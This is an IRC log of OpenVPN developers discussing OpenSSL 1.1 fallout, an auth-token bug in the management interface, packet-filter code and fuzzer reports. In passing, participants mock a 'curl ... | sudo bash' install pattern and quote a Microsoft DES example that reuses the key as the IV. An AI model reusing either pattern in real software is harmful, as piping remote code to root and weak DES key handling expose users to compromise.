"because this wiki told me to" ........) 10:37 <@dazo> well .... "not pick a cipher and put it in tls-cipher and wonder why it breaks" <<<< that will happen, guaranteed 10:37 <@plaisthos> WARN: tls-cipher is explicitly set, unless you need a very specifc cipher list, consider using tls-security (2.4.4+) option 10:37 <@plaisthos> somethig like that 10:38 <@dazo> yeah, that'll help .... but too many ignores "WARN" ... :/ 10:38 <@dazo> even if it says FATAL and OpenVPN stops running, some will still claim OpenVPN suck :/ 10:39 * dazo need to head out for some food now 10:39 <@plaisthos> dazo: but it will at least teach the people writing blogs/wikis/etc. 10:39 <@plaisthos> the ones spreading the knowledge 10:39 <@plaisthos> if they have a config with warning they are more likely to fix it and publish a version without warning 10:40 <@dazo> you should hang out more often on #openvpn :) 10:40 <@plaisthos> I do 10:40 <@plaisthos> I know that users are stupid 10:40 <@dazo> :) 10:40 <@plaisthos> but you should give them at least nice alternatives 10:41 <@plaisthos> so you can blame them for not using them :P 10:41 <@dazo> lol, yeah, agreed! :) 10:42 <@dazo> RTFM! 10:42 <@dazo> :-P 10:42 <@plaisthos> wtf are you not using the feature that we released 2 weeks go 10:42 <@plaisthos> :) 10:51 <@cron2> "wtf are you not using the feature that we're going to release tomorrow" 10:51 <@plaisthos> cron2: wtf are you not using master! 10:51 * cron2 did that to a colleague last week... :-) "you know, the openvpn version you use is quite a bit old!" - "when did the new version come out?" - "tomorrow!" 10:52 <@plaisthos> :D 10:52 <@plaisthos> we have this cool feature since at least 1 year 10:52 <@plaisthos> since which version, err 2.4 which comes out in 1 year? :) 10:57 <@plaisthos> bah ubuntu still has no openssl 1.1 version 10:57 <@plaisthos> even in the current development version 11:18 <@plaisthos> I expected some fallout of OpenSSL 1.1 like the tls-cipher set to specific cipher stuff but the md5 stuff is more than I expected :( 11:24 <@ordex> ih there 11:29 <@plaisthos> ordex: hi 11:30 <@dazo> *sigh* someone reported issue on the an EPEL-7 Fedora update .... it's just that the comment and testing was done on 2.4.1 ... not the latest 2.4.3 ...... 11:30 <@dazo> EPEL-6! 11:31 <@plaisthos> let me guess the issue would be fixed by 2.4.3? 11:31 <@dazo> yes 11:32 <@dazo> and it even cross-referenced a bugzilla which was for F-26 .... F26 is systemd, EL-6 sys-v ... and that details is quite important, as a similar issue is resolved quite differently 11:49 * CRCinAU slaps dazo with a management interface ;) 11:49 < CRCinAU> morning all btw. 11:49 <@plaisthos> good evening 11:49 < CRCinAU> crappy day for the insomnia to kick in :\ 11:50 < CRCinAU> 2:41am, wide bloody awake. 11:50 <@dazo> CRCinAU: Oh, I've spent quite some time digging into that .... for some odd reasons I have not yet figured out, the "tokenized" varialbe is re-set to false somewhere ... and it happens somewhere around the re-connect 11:51 < CRCinAU> dazo: how awesome. 11:51 <@dazo> the management interface code is really some odd piece of code 11:51 < CRCinAU> its not something dumb like a: if ( $token = 0 ) somewhere? 11:52 < CRCinAU> I've done stupid shit like that before and spent waaaaay more time than I care to admit to debug ;) 11:52 <@dazo> that's what I added 4 places around the re-connect areas .... but the tokenized value is reset, as well as the received token 11:52 < CRCinAU> urgh. 11:52 <@dazo> well, not the = ... but the == approach is what I used 11:53 < CRCinAU> I was just wondering if a compare sets it instead of comparing ;) 11:53 <@dazo> I'm trying to switch over to (0 == $token) ... as that will gain a nasty compile error if you then type = instead of == 11:53 < CRCinAU> hahaha - I was just going to say, doesn't that throw compiler errors these days? :P 11:53 <@ordex> dazo: tokenized is part of my patch, no? is he running that code? 11:54 <@dazo> ordex: I'm running git master locally when doing this :) 11:54 < CRCinAU> dazo: don't feel picked on though - I have current bugs being worked on for wpa_supplicant, kwin (KDE stuff), and a ton of others.... 11:54 <@dazo> ordex: but by all means, the nocache is also reset :/ 11:54 <@dazo> to true 11:54 <@ordex> uhm 11:55 < CRCinAU> so its like the config is reset on a reneg? 11:55 <@dazo> there exist so many copies of 'struct user_pass' that I wonder wtf people were thinking 11:55 <@ordex> dazo: how do you replicate this ? 11:55 * CRCinAU gets ready for a hoedown. 11:55 <@dazo> just a sec, I'll find the command line 11:55 < CRCinAU> ;) 11:55 <@ordex> great :) 11:55 <@ordex> so basically the high level issue is that the token is re-asked upon renegotiation when the management interface is activated (?) 11:55 < CRCinAU> dazo: btw - the latest openssl package to hit Fedora was partly my fault too lol 11:56 <@dazo> ./src/openvpn/openvpn --dev tun --remote $TESTSERVER --client --ca ./sample/sample-keys/ca.crt --cert ./sample/sample-keys/client.crt --key ./sample/sample-keys/client.key --auth-user-pass --verb 4 --management 127.0.0.1 2222 --auth-nocache --management-query-passwords --management-hold 11:56 <@dazo> ordex: ^^^ and then telnet to 127.0.0.1:2222 ... and send the commands: hold release username Auth test password Auth testpass 11:57 <@dazo> (correct the credentials according to your server) 11:57 <@dazo> it can be any server which does user/pass authentication but adds --auth-gen-token ... or have an auth-plugin/script which pushes 'auth-token' 11:57 < CRCinAU> also set a reneg-sec to kick it off. 11:57 <@dazo> right 11:58 <@ordex> ok 11:58 <@ordex> so expectation is that auth-nocache is ignored and the pass never asked again (which is what we have the patch for) 11:58 <@ordex> dazo: ^^^ right ? 11:59 <@dazo> just for the fun of it ... you have the global auth_user_pass pointer to a struct user_pass .... then you have the same struct user_pass two places within the management code .... and I can't fully understand what the purpose of that was 11:59 <@ordex> these global things are very evil imho :( but changing them now is .. painful :D 12:00 < CRCinAU> ordex: as opposed to..... ;) 12:00 <@dazo> it contains what is to be expected when it does the initial connect ... ssl_set_auth_token() (or whatever it is called again) is called ... and it is reset somewhere around the reconnect code-path 12:00 <@dazo> CRCinAU: duh ... local variables! :-P 12:01 < CRCinAU> I mean the pain part ;) 12:01 <@dazo> lol :) 12:01 <@ordex> dazo: I'll give it a look tomorrow my morning - now my brain is a bit off for these kind of code :P 12:01 <@dazo> I don't blame you :) 12:02 < CRCinAU> dazo: in bragging rights, I get my first Tested-by: tag in kernel-stable soon... its in the merge queue for next release :P 12:02 <@dazo> nice! 12:02 < CRCinAU> (yeah, been creating work for people there too LOL) 12:04 < CRCinAU> https://git.kernel.org/pub/scm/linux/kernel/git/stable/stable-queue.git/diff/queue-4.9/xen-blkback-fix-disconnect-while-i-os-in-flight.patch?id=3ce63219095e15948fbbaf581aac39d6b94d829a 12:04 <@vpnHelper> Title: kernel/git/stable/stable-queue.git - Linux kernel stable patch queue (at git.kernel.org) 12:05 < CRCinAU> *that* was a bitch to track down too lol 12:06 < CRCinAU> in a nutshell, if there were buffered writes while a Xen VM was destroyed, the kernel didn't clean up properly and the process would become a stuck zombie with no way to kill other than rebooting the host 12:06 <@dazo> CRCinAU: you should switch over to KVM :-P 12:06 < CRCinAU> pffft. 12:07 < CRCinAU> I think I'm too entrenched in the xen camp to even consider it.... 12:07 <@dazo> :) 12:07 < CRCinAU> I've been doing EL5/6/7 packages for Xen for .... well, at least a decade 12:08 <@dazo> eek .... I mean, EL5 got KVM support .... and Xen support was dropped in EL6+ 12:08 < CRCinAU> yeah - but I don't like KVM :p 12:08 < CRCinAU> its a pure ideological thing lol 12:09 < CRCinAU> if I wanted guests in the host kernel - just like any other PID, then I'd use KVM.... 12:21 <@cron2> you can run KVM/qemu full-virtualized, then it's just like vmware or xen - "you run a command which plays a VM" 12:21 * cron2 is more in the vmware camp (yeah, come and shout at me) 12:21 <@plaisthos> vmware is a good solution 12:21 <@plaisthos> just a bit expesnive 12:22 < CRCinAU> yeah - I mean if you like Fisher Price toys.... 12:22 < CRCinAU> ;) 12:22 <@plaisthos> so off to sports now 21:53 <@ordex> morning :) --- Day changed Tue Jun 27 2017 00:44 < CRCinAU> afternoon. 00:59 <@ordex> :) 03:26 <@ordex> slypknot: if you feel like the ipv6pf thing is ok, how about posting some feedback in reply to the original email on the mailing list? might help to get more attention (mabe there are also other people out there waiting for it that would like ot hear more) 04:32 <@syzzer> hm, travis is telling me I broke --disable-crypto builds in this branch, again :') 04:32 <@syzzer> woops, that what meant to sent to ordex directly 05:16 < slypknot> ordex: what can i say .. it works perfectly on linux and w10 .. but I could add my configs and logs for general review. The real question is if the core devs (you included now I guess) would be happy to accept the code into openvpn or not, expecially as there is no need for a plugin any more 05:16 <@ordex> right 05:17 <@ordex> especially since we all liked the opposite idea 05:17 <@ordex> :D 05:17 <@ordex> i.e. moving as much as these things out to external plugins 05:22 < slypknot> ordex: the pf code is in openvpn and always was (since its creation) but now there is no need for a plugin 05:22 <@ordex> yup 05:22 < slypknot> i really think it should remain that way 05:22 <@ordex> you think so? mh 05:22 <@ordex> ok 05:22 < slypknot> and so get your patch into master 05:23 < slypknot> I cannot see an argument to keep it out of openvpn except to be bloody minded 05:23 <@ordex> the point is that, by keeping it in the main code, any change means a change to the main code and every new feature added to the PF will increase the complexity of the whole openvpn 05:23 <@ordex> while if it is a plugin, it would be much easier to extend/modify/trim/etc 05:23 < slypknot> it works .. you are still active .. even I can partially understand the code so it can't be that complex 05:23 <@ordex> this is the pro I see in having it outside 05:23 <@ordex> yeah true 05:24 < slypknot> what point is there for a plugin ? 05:24 <@plaisthos> does your patch add an interface that allows pf without management or plugin 05:24 <@ordex> the plugin basically was useless 05:25 <@ordex> for some reason it was required for pf to work, but was not really doing anything 05:25 < slypknot> plaisthos: --packet-filter-dir .. and each client has its own rules .. or DEFAULT 05:25 <@ordex> so I changed pf to actually work without requiring this stub plugin 05:25 <@plaisthos> I think I wrote a stub plugin patch years ago 05:25 <@plaisthos> I think my first patch that never got merged ;P 05:25 <@ordex> :D 05:26 < slypknot> plaisthos: was it just a convenience thing or was there a reason to make it require a plugin ? 05:26 < slypknot> as for extending etc .. why ? 05:27 < slypknot> it works perfect for packet filtering 05:27 <@plaisthos> slypknot: that code is OLD 05:27 <@plaisthos> probably james did only need it from management 05:28 <@plaisthos> but more because of lazyness from to fix the issues with the patch 05:28 < slypknot> plaisthos: I imagine that the pf code was created but the idea was to eventually make a plugin .. which could then be farmed out to somebody else to maintain 05:28 <@plaisthos> nah I don't think so 05:29 < slypknot> but this code works .. unless there is something in the future (IPv8 eg) then I don't think it needs to relie a plugin any longer 05:29 <@plaisthos> that does fit the early openvpn development philosophy 05:30 < slypknot> maybe it was a speed penalty before .. so only enable if required via a plugin 05:31 < slypknot> otherwise pass straight thru .. then disable --client-to-client and use iptables to filter (which I was doing for ipv6 until now) 05:32 <@plaisthos> pf code is never run in a plugin 05:32 <@plaisthos> the plugin just configures it like management interface 05:33 < slypknot> plaisthos: yes i understand 05:33 * slypknot does not always know the correct terms 05:34 < slypknot> ordex: my suggestion would be to submit the patch and get feedback .. and also wait for other comments here 05:35 < slypknot> if there is no objection then apply it 05:35 <@ordex> plaisthos: in the current code actually the plugin does nothing. the configuration comes from a file that is created via client-connect script 05:35 <@ordex> (also ugly :P) 05:35 < slypknot> i guess it would be two patches tho .. 1) ipv6 .. 2) --packet-filter-dir 05:35 <@ordex> and I changed that to behave similar to ccd (with a dir parameter and files named after the CN of the client) 05:36 <@ordex> slypknot: if you look into the branches there are even more actually 05:36 <@ordex> :) 05:36 < slypknot> that's up to you :) 05:39 <@ordex> maybe plaisthos is volunteering as reviewer :D 05:42 < slypknot> I remember there was a lot of objection to adding NAT to ip6tables .. but even they decided it was worth while in the end .. 05:42 < slypknot> as you have done the work it would be a shame to discard it 05:44 <@ordex> yeah 05:45 < slypknot> there is only one other thing .. on trac 636 where I was not sure I could test it on win properly .. that was due to still using the plugin and I don't think the two methods can co-exist so my results were askew .. not (using the correct version and method) it works like a charm 05:46 < slypknot> *now (using* 05:48 < slypknot> I guess i could try harder to deliberately break it .. block fe80 etc (have not tried to really break it cos I like it) 05:48 < slypknot> but i guess you white listed that sort of ipv6 stuff 05:49 < slypknot> i read the rfc 05:53 < slypknot> ordex: my git foo is not good .. your ordex/openvpn/master is even with openvpn/master . and I had to build against your master to get --packet-filter-dir .. what's going on there ? 06:04 < slypknot> i guess there is work going on behind the scenes 06:09 <@dazo> hmmm .... https://medium.com/@bob_parks1/how-not-to-encrypt-a-file-courtesy-of-microsoft-bfadf2b0273d 06:09 <@vpnHelper> Title: How Not to Encrypt a File — Courtesy of Microsoft – Robert Parks – Medium (at medium.com) 06:10 < slypknot> dazo: ^^ Howto break URLs in weechat ! 06:10 <@dazo> weechat!? that must be a pebkac :-P 06:12 < slypknot> lol 06:14 < slypknot> re that ^^^ Article ID: 307010 - Last Review: Jun 26, 2017 - Revision: 2 06:14 < slypknot> and still DES 06:18 < slypknot> ah .. good old fake news 06:31 <@dazo> fake? 06:31 <@dazo> I see the examples still doing the same mistakes 06:32 <@dazo> //A 64 bit key and IV is required for this provider. 06:32 <@dazo> //Set secret key For DES algorithm. 06:32 <@dazo> DES.Key = ASCIIEncoding.ASCII.GetBytes(sKey); 06:32 <@dazo> //Set initialization vector. 06:32 <@dazo> DES.IV = ASCIIEncoding.ASCII.GetBytes(sKey); 06:32 <@dazo> sKey is the encryption key .... 06:46 < slypknot> by fake news .. i mean how the world changes but the articles on the web don't .. they linger like cobwebs 06:48 <@dazo> ordex: regarding PF stuff ... as long as it won't collide if people choose to use a plug-in or management approach (the plug-in/management could generate rules on the fly, depending on client) ... then I think it makes sense to get that into the main line 06:49 <@dazo> slypknot: well, the world changes ... but an article updated yesterday and doesn't correct anything is ... well ... far from fake :/ 06:49 <@dazo> (correct anything _important_, I m ean) 06:52 < slypknot> an articale updated yesterday and which is still so crap falls right into the fake bin in my head 06:53 < slypknot> did you read that guys articale about his 4 months at M$ ? 06:53 < slypknot> articale .. lol 06:56 <@dazo> fake clearly means something different to me ... like deliberately false and untrue. While this blog post falls into the incorrect and/or clueless category 06:58 <@ordex> dazo: the management part should still work. the plugin part has been removed (I am not sure it could be used to add new rules - but I might be wrong) 07:00 <@dazo> ordex: the plug-in could generate the file being imported 07:00 <@ordex> ah, I thought that was done only with connect-client script 07:00 <@ordex> need to check again then 07:01 <@ordex> if so, we migth want to keep the plugin part then 07:01 <@dazo> well, yeah, it could probably be created there too ... but I think the file name needed is only provided to the PF plug-in hool 07:01 <@dazo> hook* 07:02 <@ordex> nope, it was also provided to the script via env variable - this is how i used it the first time 07:02 <@ordex> and that's why I did not understand what the plugin was for :-P 07:02 <@dazo> ahh 07:03 <@ordex> so I guess script and plugin could be used for the same purpose 07:03 <@dazo> yeah 07:03 <@dazo> I'm just weary about removing features we've had out for a long time .... I remember looking at PF around 2.1_rc19 or so 07:04 <@ordex> yeah, we should avoid to break existing setups 07:04 <@ordex> although, moving to a better api requires deprecating something, eventually 07:04 <@ordex> :P 07:04 <@dazo> I don't disagree there := 07:04 <@dazo> :) 07:04 <@dazo> Gee .... my fingers stumbles a lot today 07:05 <@ordex> hehe 07:07 <@ordex> I will recheck the code to see how the plugin was really involved then 07:07 <@ordex> and possibly reintegrate what I removed 07:07 <@dazo> thx! 07:09 <@ordex> :) 07:09 <@ordex> np 07:30 <@ordex> should we create a doodle for the hackathon this autumn ? 07:31 <@cron2> d12fk: *poke* 07:31 <@ordex> :D 07:31 < Thermi> Let one of your kids do a crayon drawing 07:32 <@ordex> I have no kids :( 07:32 <@ordex> can I do t myself ? 07:32 <@ordex> :p 07:32 < Thermi> Depends on your mental age. :P 07:33 <@ordex> hehe 07:47 <@ordex> syzzer: it's never too late !! 08:13 <@plaisthos> just as a little heads up openssl 1.1 seems also be much stricter about correct certificate chains 08:14 <@plaisthos> some users setups are failing because they included an expired intermediate in a config but got the correct intermediate from the server 08:14 <@plaisthos> openssl 1.1 does not like that anymore 08:26 <@plaisthos> and also: 08:26 * plaisthos hands syzzer a torch to burn down Netgear 08:26 <@plaisthos> their integrated OpenVPN solutionon their routers only creates md5 08:27 < eworm> lol 08:27 < eworm> Netgear is... well - kind of crap 08:27 < Thermi> Garbage to the garbage dump 08:30 <@ordex> well 08:30 <@ordex> but software shipped with routers is notoriously old and poorly enginnered :S 08:32 * eworm likes Routerboards by Mikrotik 08:32 <@plaisthos> and I got a nice review that made me smile 08:32 <@plaisthos> "Leute wenn bei euch nach dem update kürzlich nichts mehr geht solltet ihr vielleicht in 2017 ankommen und eure md5 Zertifikate ersetzen was ihr schon vor jahren hättet machen sollen und sha1 gleich mit - Ist doch ein Witz sicherheitsrelevante Setups so sträflich zu behandeln 08:32 <@plaisthos> " 08:32 < eworm> OpenVPN support is on TCP, though 08:32 < eworm> plaisthos: :D 08:32 <@plaisthos> it is German but basically says "all people that still use md5, you should thking abouting arriving in 2017" 08:33 <@ordex> lol 08:40 <@plaisthos> One user says the update broke his company's VPN. 08:40 <@plaisthos> that is a bit scary :D 08:41 <@ordex> he is just pushing the responsibility away from him 08:41 <@ordex> :P 08:41 <@plaisthos> :) 08:42 <@plaisthos> anyway. I answer half of the new review with a polite version of "Your VPN security/setups sucks and openssl 1.1 finally tells you that" 08:43 < CRCinAU> so 08:43 < CRCinAU> when a reneg happens, can you push new options down the line? 08:43 < CRCinAU> ie a new auth-token? :) 08:44 <@plaisthos> no idea 08:44 <@plaisthos> should work 08:44 <@plaisthos> don't know if the server code can do that :D 08:44 < CRCinAU> heh 08:45 * CRCinAU has a feature list of shit he wants ;) 08:45 <@ordex> the new auth-token can be pushed by the client I think, with a script 08:45 < CRCinAU> wait, the *client* can push one? o_O 08:45 <@ordex> dazo should know more, but this was one of the test cases 08:45 <@ordex> as a password 08:45 < CRCinAU> ohhh - you mean client provides the auth-token instead of a password? 08:45 < CRCinAU> not the client saying "Use this token from now on" 08:45 <@plaisthos> but iirc since the auth script is called and that generates the auth-token (or was it client-connect) you might be able to do that 08:46 <@ordex> CRCinAU: right, the former 08:46 < CRCinAU> ordex: phew ;) 08:46 <@ordex> CRCinAU: the client can send a token, which is basically a pwd that the server verifies - not much difference from a generic password 08:46 < CRCinAU> yep - but it can't say "Hey server, use this instead of any password" 08:47 <@plaisthos> "I am not using TLS" 08:47 <@plaisthos> *sigh* 08:47 < CRCinAU> my wishlist is as follows: 08:47 < CRCinAU> 1) Fix the management side so it doesn't screw the auth-tokens 08:47 < CRCinAU> then I get to test my Yubikey OTP token stuff 08:47 <@ordex> CRCinAU: what would that mean? the server needs to verify the password/token, no? how could the client come up with its own ? 08:47 < CRCinAU> ordex: that's what I was thinking :) 08:48 < CRCinAU> for now, I'm happy to replace the password with the token and get reneg working without the management interface screwing with it 08:48 < CRCinAU> that's where we're at. 08:48 < CRCinAU> then I want to look at making a 'secure' token, that when we do a reneg, I can push another token 08:49 < CRCinAU> hence you can only use a token for a single reneg 08:49 < CRCinAU> but that's the bit I'm not sure works yet 08:49 < CRCinAU> but baby steps :P 08:49 <@plaisthos> yeah 08:49 < CRCinAU> get it working with the management stuff first 08:49 <@plaisthos> and we need a retry with normal auth if token auth fails 08:49 <@ordex> CRCinAU: but that should work already no? but you don't have to use auth-gen-token on the server 08:49 < CRCinAU> hrrrrmmm maybe :P 08:50 <@ordex> rather a verification method custm made by you 08:50 <@ordex> that knows what will come next 08:50 < CRCinAU> right now, I can't properly test with it due to management interface screwups 08:50 < CRCinAU> hence I keep asking how its going ;P 08:51 < CRCinAU> right now, I'm thinking of using crypt with a few values to give a unique value token 08:51 < CRCinAU> but it needs to be in a progmatic way 08:51 < CRCinAU> but I'm not going to really figure that out until I can get reneg going and screw with it for just a single token generation 08:52 < CRCinAU> then I can look at making a constantly repeatable token with little shared info 08:52 < CRCinAU> the next step is going for the 'one time token' 08:53 < CRCinAU> I do generate a somewhat random token now... 08:54 <@ordex> why do you need the management interface right now ? can't you do that differently? (just wondering) 08:54 < CRCinAU> NetworkManager 08:54 < CRCinAU> it screws everything ;)_ 08:55 < CRCinAU> well, there's multiple problems with throwing NetworkManager in the mix 08:55 < CRCinAU> 1) It uses auth-nocache by default (which wipes the token etc) 08:55 < CRCinAU> in fact, that may actually be the fault. 08:56 < CRCinAU> O 08:56 <@ordex> ah NM 08:56 < CRCinAU> I'm pretty sure dazo said that even with a token supplied, and having that cancel out noauth-cache internally, it seems the token was wiped, the option set back to true 08:57 < CRCinAU> so even if the token sets auth-nocache to false, somehow it still gets set back to true on a reneg 09:01 <@plaisthos> mattock: when you do the next Windows update with OpenSSL 1.1 people will start screaming at you as well :P 09:07 < eworm> it's a feature, not a bug 09:07 < eworm> so take it easy ;) 09:10 < CRCinAU> but I *want* to use an md2 cert 09:12 <@plaisthos> CRCinAU: sure, why not 09:12 <@plaisthos> I think OpenVPN 2.3 still supports OpenSSL 0.98 09:12 <@plaisthos> and 2.2 might even support 0.97 09:12 < CRCinAU> ;) 09:21 * plaisthos hands a torch to everyone to burn down PureVPN: https://support.purevpn.com/openvpn-connection-issue-on-fedora 09:24 < CRCinAU> speaking of which 09:24 < CRCinAU> how close to expiry is recommended for renewing certs? 09:27 < eworm> uh, really bad advise by purevpn... 09:28 <@plaisthos> it is basically an inventation for competitors to pubically shame them 09:30 < eworm> reminds me of a really bad advice by ssl247 related to heartbleed 09:32 < eworm> they asked to regenerate certificates but did not give advise to generate a new private key 09:33 < eworm> contacting them about the issue I was sent another copy of thier newsletter :-p 09:37 <@plaisthos> :D 09:38 <@plaisthos> you may have lost private information, please regenerate the public information that is public anyway 09:48 < CRCinAU> plaisthos: please hold on to my credit card number... just in case I need to find out what it is 09:51 <@plaisthos> :) 09:59 <@vpnHelper> RSS Update - gitrepo: crypto: correct typ0 in error message <https://github.com/OpenVPN/openvpn/commit/778aca3d251b6a563ffbabef95816fab863825e1> 12:27 <@cron2> the sheer magic of our config handling keeps amazing me 12:27 <@cron2> like, pushing "cipher foo", and not leaking memory on the "foo" string, which needs to be kept around, but eventually gets freed somewhere... 12:28 * cron2 assumes it's in the config structure's gc... 12:51 <@plaisthos> cron2: I think it is in the sessions gc 12:53 <@cron2> it's in "&c->options->gc" (push.c -> apply_push_options()), and I think that's "the global option structure" (+gc). But I'm willing to learn :) 12:53 <@cron2> (on the server, it that path isn't taken) 12:53 <@plaisthos> hm then that might be am memory leak 12:55 <@cron2> but it's not a new one - the leak happens in parse_line(), where each fully parsed line is gc_malloc()'ed into p[ret++]... 12:56 <@cron2> so if it's the options' gc, every PUSH_REPLY would leak those bytes as long as openvpn runs... (and I can't really imagine *that*, so there must be even more magic) 12:56 <@plaisthos> but options might be copied 12:56 <@cron2> there's option swapping foo before push... 12:57 <@plaisthos> I remember something like that 12:58 <@plaisthos> when I had to add sepcial magic to marry freeaddrinfo with gc 12:58 <@cron2> oh, indeed 13:10 <@vpnHelper> RSS Update - gitrepo: Set tls-cipher restriction before loading certificates <https://github.com/OpenVPN/openvpn/commit/26345ba61b8d5bccb1331894ab6d1468e3b09adf> 13:11 <@plaisthos> yay, my patch is in :) 13:12 <@cron2> since syzzer's patch failed compilation... 13:12 <@plaisthos> yeah did not notice that 13:14 < Thermi> If you ever think about using Docker or Kubernetes: Don't. It's the worst. Save your nerves this torment. 13:14 <@cron2> haha 13:15 < Thermi> I'll get back to deving or security as fast as I can. Devops is hell. 13:16 < Thermi> Literally every single piece of software, besides my own Linux machine and was previously installed on it, that I touched during this job was broken in some critical regard. It's unbelievable. Please randomware, release us from this hell. 13:16 < Thermi> *ransomware 13:16 <@plaisthos> docker is a solution that creates more problems than it solves 13:16 <@cron2> there cannot be anything wrong with isntalling software by doing "curl -O - ... |sudo bash"!!! 13:17 <@plaisthos> as long it is https it safe! 13:17 <@cron2> curl is good, bash is good, sudo is good, so the combination must be doppelplusgood 13:17 < Thermi> That's not even the problem. 13:17 <@cron2> that is the mindset behind all this 13:17 < Thermi> I run into false error message, silent failures and fake successes every day. 13:18 < Thermi> I'll just become a black hat and do a good job at that. It's probably very easy today. 13:18 <@plaisthos> Thermi: Yeah, if you read yesterday's chat here. People blaming me and my update of OpenSSL for breaking their beloved VPNs that use md5 certificates 13:18 < Thermi> I'll just combine 15 vulns from 3 years ago to get lateral leverage in poorly maintained networks and bam, I pwned every single host, if it's Windows, OSX or Linux. 13:18 <@cron2> Thermi: I think that would be plain boring 13:18 < Thermi> plaisthos: I read it and I pity you. 13:19 <@cron2> too easy to be fun 13:19 <@plaisthos> Thermi: at some point you stop caring about most of them 13:19 < Thermi> plaisthos: I'm far beyond that point. I don't even care about tech support people anymore. 13:19 < Thermi> Neither about devs. 13:19 <@plaisthos> some people make it up and thank you when they understand what happens 13:19 * cron2 has a test router here that I bought specifically because it is openwrt based and has openvpn in it. Yeah, like 2.3.8 or so... and the vendor isn't really caring when I tell them "hey, I'm openvpn upstream, listen to me, your device is shipping critically buggy stuff!" 13:19 < Thermi> The responsible people just get my pure hatred blown into their face 13:20 <@plaisthos> Thermi: is it from Netgear and generates md5 certificates? :P 13:20 < Thermi> No, it's from stupid NodeJS and Golang devs 13:21 <@plaisthos> trigger word detecte 13:21 <@cron2> plaisthos: no, it's "teltonika", it has a surprisingly good LTE modem in it, it's cheap (~200 EUR), but has more rough edges than I can accept... 13:22 <@plaisthos> ah okay, was more joking than not 13:22 <@plaisthos> the "please arrive in 2017 comment to my app" was gold though :) 13:22 <@cron2> like "oh yeah, of course you can set the LTE to dual-stack" - and it will request a v4v6 PDP from the network just fine, and subsequently fully ignore the IPv6 part, only using IPv4 on the WAN interface at all 13:23 < Thermi> modems are extremely bad, too. 13:23 < Thermi> I am hoping for the day all this poor software falls to pieces. 13:23 < Thermi> I hope it happens soon. 13:23 < Thermi> Then I can become a lumberjack. 13:23 < Thermi> (finally) 13:24 <@plaisthos> who use modern tools with software and automation 13:24 < Thermi> I mean the traditional one 13:24 < Thermi> When the day finally came, we're back to the 1950s. 13:26 -!- cron2 [~hunger@openvpn/community/developer/cron2] has quit [Ping timeout: 240 seconds] 13:26 < Thermi> Brb, rebooting my VPS. 13:55 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 13:55 -!- mode/#openvpn-devel [+o cron2] by ChanServ 13:55 <@cron2> ok, seems lightning took out a bit of the infrastructure that links *this* box to the network... 13:55 <@cron2> and for whatever reason, FreeBSD's lagg0 took 30 minutes(!) to notice "link down on bge1, fallover to bge0", wtf 13:58 <@plaisthos> no lacp? 14:01 <@cron2> the channel goes to two fully independent switches, so LACP won't work 14:02 <@cron2> it's something weird with FreeBSD/Sparc, though, as FreeBSD/amd64 usually notices in seconds if the link goes down and fails over 14:11 <@plaisthos> ah okay 14:11 <@vpnHelper> RSS Update - gitrepo: Move adjust_power_of_2() to integer.h <https://github.com/OpenVPN/openvpn/commit/9fc0e963c757ffec3cc9fbf797fb7609f409c370> || init_key_ctx: key and iv arguments can (now) be const <https://github.com/OpenVPN/openvpn/commit/5e6e4b7d21150ea2f0738948d5a9bd0c7d910e1a> 16:03 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Ping timeout: 255 seconds] 16:09 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 16:09 -!- mode/#openvpn-devel [+o cron2] by ChanServ 19:43 <@ordex> morning ! 22:52 < CRCinAU> morning 23:03 <@ordex> CRCinAU: in which part of oz are you located? 23:03 <@ordex> just curious :) --- Day changed Wed Jun 28 2017 00:17 < CRCinAU> Melbourne 00:27 <+krzee> cron2: ya join the club, 2.2.2 ships on my phones 00:27 <+krzee> https://secure-computing.net/wiki/index.php/Decompressing_Snom_Firmware 00:27 <@vpnHelper> Title: Decompressing Snom Firmware - Secure Computing Wiki (at secure-computing.net) 00:27 <+krzee> i had to build my own path to updating them =/ 02:15 <@cron2> *sigh* 02:15 <@cron2> look, ma, there's a fuzzer! and if I use it to fuzz arbitrary functions, I can get these functions to ASSERT() on me!!! BUG! 02:17 <@ordex> lol 02:18 <@cron2> just got a report to security@ that you can get hash_init() to ASSERT if you feed in negative values for n_bucket - well, yes, that's why the ASSERT is there. To ensure n_buckets is positive 02:18 <@ordex> cron2: maybe we should document prerequirements, so that people know what a function expects as domain ? 02:18 <@ordex> yeah..the ASSERT is actually the doc in this cas :P 02:18 <@ordex> case 02:19 <@cron2> people should stop just running a fuzzer without making at least some effort of trying to understand the result 02:19 <@ordex> hehe 02:19 <@ordex> the problem is that people can do whatever they want 02:19 <@ordex> :D 02:20 * cron2 points to "09:06 <@cron2> *sigh*" :) 02:21 <@ordex> hehe 02:42 < CRCinAU> but I want to get a CVE and a post on slashdot about my ASSERT! 02:42 < CRCinAU> NOTICE ME! 02:55 <@ordex> lol 03:07 <@cron2> syzzer: I'm not sure I understand your last remark on "preference for avoid"? 03:43 <@syzzer> cron2: I prefer having simple function contracts over documenting tricky ones 03:44 <@syzzer> in this case, if the size may not be negative, it should take an unsigned size type. And return an error (e.g. NULL) for size 0 - rather than ASSERT()ing out. 03:46 <@cron2> yeah, I can agree with that - I wondered why James put an "int" there, and decided maybe that's to actually catch someone passing a (negative) int there, which would be expanded to a huge positive unsigned int then, and cause a massive explosion 03:47 <@ordex> the compiler should complain when passing a negative value, no ? 03:47 <@syzzer> ordex: in 2005 compilers were not that helpful as they are now 03:47 <@cron2> it will tell you about a signed/unsigned mismatch if you pass in a signed integer value, and people then usually remove the warning by (unsigned int) casting... 03:47 <@syzzer> (and our current default build flags still barely show any warnings...) 03:48 <@ordex> cron2: people are openvpn devs and that should be rejected during review :P 03:48 <@ordex> nothing can save you from bad code anyway 03:48 <@ordex> syzzer: about that, I am in favour of using -Wall and clean up all the warnings in a proper way 03:48 <@ordex> (I already started working on that) 03:48 <@cron2> don't we build with -Wall? 03:49 * dazo does all his local builds with -Wall 03:49 <@syzzer> yeah, me too. I still have the patch for ntlm.c lying around... 03:49 <@ordex> not by default, but i have it injected 03:49 <@ordex> syzzer: haha me too :D 03:49 <@syzzer> keep it in my tree to actually notice my own warnings 03:49 <@dazo> I'll have to say that release/2.4 is looking quite nice compared to release/2.3 and older 03:49 <@dazo> (ntlm.c being the biggest offender these days) 03:50 <@ordex> yap 03:50 <@ordex> almost everything is gone 03:50 <@syzzer> until you build for non-linux ;-) 03:51 <@ordex> argh 03:51 <@ordex> :D 03:52 <@cron2> it's not that bad on reasonably new unix platforms... solaris, mingw have 